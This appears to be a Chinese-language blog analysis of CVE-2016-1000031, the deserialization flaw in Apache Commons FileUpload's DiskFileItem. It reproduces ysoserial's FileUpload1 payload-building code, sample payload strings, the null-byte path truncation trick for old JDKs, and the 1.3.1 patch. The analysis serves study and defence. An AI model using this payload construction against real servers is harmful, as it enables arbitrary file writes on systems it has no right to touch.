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Apache Commons Fileupload 反序列化漏洞分析

前几天刚刚分析了Apache Commons FileUpload的Dos的漏洞，无意间发现了还存在反序列化的漏洞。网上只存在 cve-2016-1000031 Apache Commons FileUpload 反序列化漏洞深入分析。这篇文章只是简要地分析了一下，但是对于原理还是不理解。后来发现在 ysoserial 中存在这个漏洞的Payload，于是就根据ysoserial中的Payload对这个漏洞进行分析。

漏洞说明

漏洞的来源是在于 DiskFileItem 中的 readObject() 进行文件写入的操作，这就意味着如果我们对已经序列化的 DiskFileItem 对象进行反序列化操作就能够触发 readObject() 执行从而触发这个漏洞。

这个漏洞的危害是能够任意写、读文件或者目录。但是具体是对文件还是目录操作与FileUpload以及JDK的版本有关。不同的漏洞环境能够达到的效果不一样。

FileUpload的1.3.1之前的版本配合JDK1.7之前的版本，能够达到写入任意文件的漏洞;
FileUpload的1.3.1之前的版本配合JDK1.7及其之后的版本，能够向任意目录写入文件;
FileUpload的1.3.1以及之后的版本只能向特定目录写入文件，此目录也必须存在。(文件的的命名也无法控制);

下面将进行详细地分析

Payload构造

我们首先测试的版本是1.3的版本，JDK是1.8版本，所以这种组合只能达到向任意目录的文件写入的漏洞效果。

我们测试的payload是 {"write;cve1000031;123456"} ，表示的含义就是向目录 cve1000031 中写入 123456 的内容。在 ysoserial 中最终是由 ysoserial.payloads.FileUpload1::makePayload() 来构建payload。代码如下：

private static DiskFileItem makePayload ( int thresh, String repoPath, String filePath, byte[] data ) throws IOException, Exception {
    // if thresh < written length, delete outputFile after copying to repository temp file
    // otherwise write the contents to repository temp file
    File repository = new File(repoPath);
    DiskFileItem diskFileItem = new DiskFileItem("testxxx", "application/octet-stream", false, "testxxx", 100000, repository);
    File outputFile = new File(filePath);
    DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
    OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
    os.write(data);
    Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
    Reflections.setFieldValue(diskFileItem, "dfos", dfos);
    Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
    return diskFileItem;
}

当我们输入我们的Payload， {"write;cve1000031;123456"} ,其中的赋值情况是：

Apache Commons Fileupload 反序列化漏洞分析

而 thresh 的值就是我们需要写入的内容的长度加1，即 len(123456)+1 结果就是7。其中还有 filePath 是 cve1000031/whatever 是因为在这个漏洞环境中我们最终是向 cve1000031 目录写入，所以后面是什么就没有意义了。

最后在代码中还存在几个反序列化的操作：

Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);

发序列化的意义是在于我们无法通过 DiskFileItem 的示例进行设置，只能通过反射的方式设置，这几个属性也是我们触发漏洞的必要条件。

之后对我们构造的这个进行序列化操作，反序列化之后就会触发DiskFileItem的 readObject() 从而触发漏洞。

漏洞分析-1

漏洞环境： FileUpload 1.3 + JDK1.7

当对 DiskFileItem 的对象进行反序列化操作时，由 org.apache.commons.fileupload.disk.DiskFileItem::readObject() 处理。

private void readObject(ObjectInputStream in)
        throws IOException, ClassNotFoundException {
    // read values
    in.defaultReadObject();

    OutputStream output = getOutputStream();
    if (cachedContent != null) {
        output.write(cachedContent);
    } else {
        FileInputStream input = new FileInputStream(dfosFile);
        IOUtils.copy(input, output);
        dfosFile.delete();
        dfosFile = null;
    }
    output.close();

    cachedContent = null;
}

跟进 getOutputStream() ，进入到:

public OutputStream getOutputStream()
    throws IOException {
    if (dfos == null) {
        File outputFile = getTempFile();
        dfos = new DeferredFileOutputStream(sizeThreshold, outputFile);
    }
    return dfos;
}

由于 dfos == null 满足条件，会执行 File outputFile = getTempFile(); 方法。跟踪进入 getTempFile() 到中

其中的 tempDir 就是我们设置的 repository ，即 cve1000031 。 tmpFileName 是由 DiskFileItem 是自动生成的。最终和 tempDir 组合得到的文件路径就是 cve1000031/upload_7b496a67_4fc4_4b14_a4e7_ff5aceb82aaf_00000000.tmp 。

最后返回至 readObject() 方法中写入文件，如下：

Apache Commons Fileupload 反序列化漏洞分析

其中的 cachedContent 就是我们之前在Payload中设置的 123456 。那么Payload的最终的效果就是在 cve1000031/upload_7b496a67_4fc4_4b14_a4e7_ff5aceb82aaf_00000000.tmp 文件中写入了 123456 的内容。

Apache Commons Fileupload 反序列化漏洞分析

漏洞分析-2

由于前面的一个漏洞分析是向任意目录写文件的功能，本次分析的是任意文件写入的功能。本次的漏洞环境是 FileUpload 1.3 + JDK1.6 。

Payload构造

构造的Payload是 {"writeOld;cve1000031.txt;123456"} 。同样会调用 makePayload() 构造Payload。

Apache Commons Fileupload 反序列化漏洞分析

但是其中的 repoPath 最后一位是 /0 ，这个就类似于PHP中的截断，用于截断后面的路径，这样就可以达到任意文件写入的效果。具体的原理说明如下：

JDK7以上在Java的file相关的基础类中都做了空字符的保护，这也是在针对java的string 和 c char的结束方式不一致，在Java中文件的操作中使用String这种char 数组，而C中的char 是以空字符为结束符，所以java操作的文件中很容易通过注入空字符来操作完全不同的文件。比如 Java File file = new File("/test/test.txt/0.jsp") 看起来再操作 test.txt/0.jsp 实际上在底层调用的（本质还是c读写文件）是在操作test.txt。在JDK7以后的版本File 里面会有一个判断是否有空字符的函数

这个意思就是在JDK7之前可以利用 /0 进行目录截断，和php在5.3.4版本之前也可以进行目录截断是一样的道理。所以这个任意文件写入为什么要求是JDK7以下的版本才可以的原因。

漏洞的执行流程和前面分析的漏洞流程一样，不同是在 getTempFile() 中:

Apache Commons Fileupload 反序列化漏洞分析

其中 this.tempFile 的路径是 cve1000031.txt /upload_6982dc32_8ca4_4d7c_b658_0a9b44a60741_00000000.tmp 。由于是在JDK1.6的环境下，后面的 /upload_6982dc32_8ca4_4d7c_b658_0a9b44a60741_00000000.tmp 在写入文件时会被忽略，所以最终是向 cve1000031.txt 文件中写入内容。

Apache Commons Fileupload 反序列化漏洞分析

漏洞分析-3

漏洞环境： FileUpload 1.3.1 + JDK1.7
在 FileUpload 1.3.1 中对 readObject() 的功能进行了修改。修改主要是对 repository 进行了校验。

private void readObject(ObjectInputStream in)
        throws IOException, ClassNotFoundException {
    // read values
    in.defaultReadObject();
    /* One expected use of serialization is to migrate HTTP sessions
        * containing a DiskFileItem between JVMs. Particularly if the JVMs are
        * on different machines It is possible that the repository location is
        * not valid so validate it.
        */
    if (repository != null) {
        if (repository.isDirectory()) {
            // Check path for nulls
            if (repository.getPath().contains("/0")) {
                throw new IOException(format(
                        "The repository [%s] contains a null character",
                        repository.getPath()));
            }
        } else {
            throw new IOException(format(
                    "The repository [%s] is not a directory",
                    repository.getAbsolutePath()));
        }
    }

    OutputStream output = getOutputStream();
    if (cachedContent != null) {
        output.write(cachedContent);
    } else {
        FileInputStream input = new FileInputStream(dfosFile);
        IOUtils.copy(input, output);
        dfosFile.delete();
        dfosFile = null;
    }
    output.close();

    cachedContent = null;
}

通过对 repository.isDirectory() 和 repository.getPath().contains("/0") 的判断，就阻止了任意的文件写入的漏洞了。所以在这种环境下只能下特定的目录写入文件了。但是这种情况下，你也只能向临时目录写入文件。